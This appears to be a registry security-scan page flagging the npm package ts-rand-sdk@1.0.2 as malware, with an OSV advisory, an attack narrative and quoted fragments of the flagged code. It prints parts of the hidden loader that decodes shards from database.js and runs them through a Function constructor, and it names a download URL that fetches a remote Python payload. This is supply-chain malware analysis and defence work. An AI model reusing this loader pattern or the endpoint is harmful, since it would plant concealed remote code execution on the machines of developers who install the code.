registry / ts-rand-sdk / 1.0.2

ts-rand-sdk@1.0.2

Used to generate random transactions data

AI Security Review

scanned 3h ago · by lpm-firewall-ai

A call to getTransactions(10) or load_transaction_data(10) reconstructs and executes an obfuscated payload. The payload downloads a Python script, stores it under the system temporary directory, and starts it detached.

Static reason

No blocking static signals were detected.

Trigger

User code calls getTransactions(10) or load_transaction_data(10); execution is delayed 100 ms.

Impact

Remote code execution in the consuming application's user context.

Mechanism

Obfuscated local payload reconstruction followed by remote Python payload download and detached execution.

Attack narrative

The public transaction generator secretly invokes an obfuscated loader. With count=10, its bundled database records reconstruct JavaScript that fetches https://dothebest.store/empty.php, writes the response to a predictable temporary file, and uses a detached Python process to execute it. The remote response controls the executed code, while normal transaction data is still returned to mask the behavior.

Rationale

This is a concrete staged remote-code-execution chain hidden behind a transaction-data API. The absence of lifecycle hooks does not mitigate runtime execution after an ordinary library call.

Evidence

index.jsdatabase.jspackage.json/tmp/tmp_20260529

Network endpoints1

dothebest.store/empty.php

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14193

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in ts-rand-sdk (npm)

Details

Package presents itself as a random transactions SDK exposing a single API, getTransactions(count). Following that documented usage triggers a hidden loader: load_transaction_data reads database.js (framed as a product catalog), takes each record's `mark` field, base64-decodes it, applies a per-record byte shift keyed on `count % 256`, concatenates the fragments in id order, base64-decodes the result again, and passes the resulting JavaScript source into a Function constructor obtained indirectly via globalThis.constructor.constructor. The constructed function is invoked with Buffer, require, and process passed in, giving the decoded payload full Node.js capabilities (arbitrary filesystem, process, and network access) on the caller's machine. Sensitive identifiers (setTimeout, Function, Buffer, require, process, clearTimeout) are stored as fragments in a string array and reassembled at runtime via an index-mapping helper, and execution is deferred through setTimeout, both patterns serving only to hide the payload path from reviewers. The ~54KB of `mark` shards inside database.js are the concealed code body; the product-catalog framing is cover. The package's advertised functionality is a facade over a runtime code-execution loader.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js decodes records from database.js and executes the reconstructed text with Function.
Static reconstruction for count=10 reveals a hidden payload that downloads https://dothebest.store/empty.php, writes it to a temporary file, and launches it detached with Python.
getTransactions invokes the hidden loader after returning plausible transaction data, concealing the payload behind normal SDK behavior.

Evidence against

package.json has no preinstall, install, or postinstall hook.
No confirmed credential harvesting or AI-agent control-surface mutation.

Behavioral surface

Source

Filesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 50.7 KB of source

Source & flagged code

4 flagged

index.jsView file

Lines 25-65javascript

25 );

26 }

28 return result;

29}

31function loadConfig(filename, count) {

32 const records = JSON.parse(

33 fs.readFileSync(

34 path.join(__dirname, filename),

35 "utf8"

36 )

37 );

39 records.sort(

40 (a, b) =>

41 Number(a.id.substring(1)) -

42 Number(b.id.substring(1))

43 );

45 let result = "";

46 for (const item of records) {

47 result += processData(

48 item.mark,

49 count

50 );

51 }

52 return result;

High

Ai Review Evidence

index.js decodes records from database.js and executes the reconstructed text with Function.

index.jsView on unpkg · L45

53}

55const products = [

56 { id:'P1',

57 title:"iPhone13",

58 price:62000,

59 category:'mobiles'

60 },

61 { id:'P2',

62 title:"iPhone13 Mini",

63 price:54900,

64 category:'mobiles'

65 },

Lines 189-240javascript

189 const _global = (() => { return this; })() || globalThis;

190

191 const _getFunctionConstructor = () => {

192 const

Lines 252-292javascript

252 if(count>10000){

253 return "Transactions count should be less than 10,000"

254 }

255

256 let transactionsData = []

257 for(let i=0;i

Source & flagged code

4 flagged · loading source

index.jsView file

45let result = ""; for (const item of records) { result += processData( item.mark, count ); } return result;

High

Ai Review Evidence

index.js decodes records from database.js and executes the reconstructed text with Function.

index.jsView on unpkg · L45

209const _loadFn = loadConfig; const _result = _loadFn("database.js", count); const _bufferFrom = Buffer.from; const _data = _bufferFrom(_result, "base64"); const _toString = _data.toString.bind(_data); const _code = _toString("utf-8"); const _FuncCtor = _executor.getFunction(); const _fn = _FuncCtor( _0x1a2b.Buffer, _0x1a2b.require, _0x1a2b.proce

High

Ai Review Evidence

index.js decodes records from database.js and executes the reconstructed text with Function.

index.jsView on unpkg · L209

220const _fn = _FuncCtor( _0x1a2b.Buffer, _0x1a2b.require, _0x1a2b.process, _code ); return _fn(Buffer, require, process);

High

Findings

4 High2 Low

HighAi Review Evidenceindex.js

LowScripts Present

LowFilesystem